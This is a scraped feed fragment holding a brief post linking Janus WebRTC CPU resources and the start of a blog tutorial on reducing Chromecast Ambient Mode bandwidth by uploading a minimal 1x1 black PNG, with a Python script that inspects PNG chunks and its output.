Janus is a cool library (link if you never heard of it : github and good intro link)
But boy is it CPU intensive.
here are some links for the case you are looking for ways to lower the damage
Client CPU benchmark and how to improve it
 https://groups.google.com/forum/#!msg/meetecho-janus/ydGcbMt7IX0/LOGVIA6yjkAJ  Performance analysis of the Janus WebRTC gateway
 Link To Research Gate Article  WebRTC and CPU reduction, settings to tweak</description><author>Yasha Solutions</author><pubDate>Tue, 11 Dec 2018 07:03:20 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/webrtc-janus-cpu-intensive/</guid></item><item><title>Reducing Chromecast Idle Bandwidth</title><link>https://cmetcalfe.ca/blog/reducing-chromecast-idle-bandwidth.html</link><description>&lt;p&gt;Google's &lt;a href="https://store.google.com/product/chromecast"&gt;Chromecast&lt;/a&gt; is a pretty useful device. It plugs into the HDMI port of a TV and allows
users to "cast" content to it via a smartphone, &lt;a href="https://www.google.com/chrome/"&gt;Chrome browser&lt;/a&gt;, etc. This content is mostly
assumed to be streaming services like &lt;a href="https://www.youtube.com/"&gt;Youtube&lt;/a&gt;, &lt;a href="https://www.spotify.com/"&gt;Spotify&lt;/a&gt;, or &lt;a href="https://www.netflix.com/"&gt;Netflix&lt;/a&gt;, but for someone who
doesn't really buy into the whole cloud revolution like myself, it's still perfectly capable of
playing local content as well.&lt;/p&gt;
&lt;p&gt;The one downside of the Chromecast is that when it's not being used, instead of going into a
low-power state and/or turning off the TV, it instead enters &lt;a href="https://support.google.com/chromecast/answer/6080931"&gt;Ambient Mode&lt;/a&gt;. This shows some
useful information overlaid on a changing backdrop of featured photos downloaded from &lt;a href="https://photos.google.com/"&gt;Google
Photos&lt;/a&gt;. The issue with this is that the images are high-resolution, not cached, and are
continually being downloaded 24/7 even when the TV is turned off. Although I haven't personally
measured it, the general consensus seems to be that it uses around 15GB of data per month from just
being plugged in.&lt;/p&gt;
&lt;p&gt;What I'll be going over here is reducing the data the Chromecast uses by configuring it to only
download some tiny black 1x1 px images to use as a backdrop.&lt;/p&gt;
&lt;h2&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Make a tiny black PNG (&lt;a href=""&gt;pixel.png&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Make a slightly different tiny PNG to avoid deduplication (&lt;a href=""&gt;pixel_alt1.png&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Upload both to an album in Google Photos&lt;/li&gt;
&lt;li&gt;Mark both images as favorites&lt;/li&gt;
&lt;li&gt;Configure the Chromecast to only pull images from your specific album every 10 minutes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you like details, keep reading...&lt;/p&gt;
&lt;h2&gt;Making a small image&lt;/h2&gt;
&lt;p&gt;I ended up creating a 1x1 solid black image in GIMP, saving it as a PNG, hacking out as much data as
possible using a hex editor, then using &lt;a href="https://pmt.sourceforge.io/pngcrush/"&gt;&lt;code&gt;pngcrush&lt;/code&gt;&lt;/a&gt; to attempt to optimize the data
that was left.&lt;/p&gt;
&lt;p&gt;As I was working on the PNG file, I used a small script based on the Python &lt;a href="https://construct.readthedocs.io/en/latest/"&gt;construct&lt;/a&gt; library to
visualize the chunks and structure of it so I could figure out what to cut.&lt;/p&gt;
&lt;p&gt;To install &lt;code&gt;construct&lt;/code&gt; and download the example PNG specification:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;venv&lt;span class="w"&gt; &lt;/span&gt;.venv
&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.venv/bin/activate
pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;construct
wget&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://raw.githubusercontent.com/construct/construct/abd48c4892ceddc60c11d25f4a955573e2c61111/deprecated_gallery/png.py&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Create &lt;code&gt;pngview.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;png&lt;/span&gt;  &lt;span class="c1"&gt;# the png spec downloaded above&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;'rb'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Size:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;bytes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;png_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Running it on the PNG exported from GIMP using the default settings gives:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;./pngview.py&lt;span class="w"&gt; &lt;/span&gt;pixel.png
Size:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;146&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x89PNG\r\n\x1a\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;image_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IHDR'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;bit_depth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;color_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;truecolor&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;compression_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;deflate&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;filter_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;adaptive5&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;interlace_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;none&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2423739358&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;chunks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ListContainer:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'pHYs'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;pixels_per_unit_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11811&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;pixels_per_unit_y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11811&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;unit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;enum&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;meter&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2024095606&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'tIME'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;year&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2018&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;hour&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;minute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;904567710&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;25&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'tEXt'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;keyword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;u&lt;span class="s1"&gt;'Comment'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nv"&gt;text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'Created with GIM'&lt;/span&gt;...&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;truncated,&lt;span class="w"&gt; &lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;17&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1468075543&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IDAT'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x08\xd7c```\x00\x00\x00\x04\x00\x01'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;657729290&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Container:&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'IEND'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;None
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2923585666&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After removing the unneeded &lt;code&gt;pHYs&lt;/code&gt;, &lt;code&gt;tIME&lt;/code&gt;, and &lt;code&gt;tEXt&lt;/code&gt; chunks using a hex editor, it looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
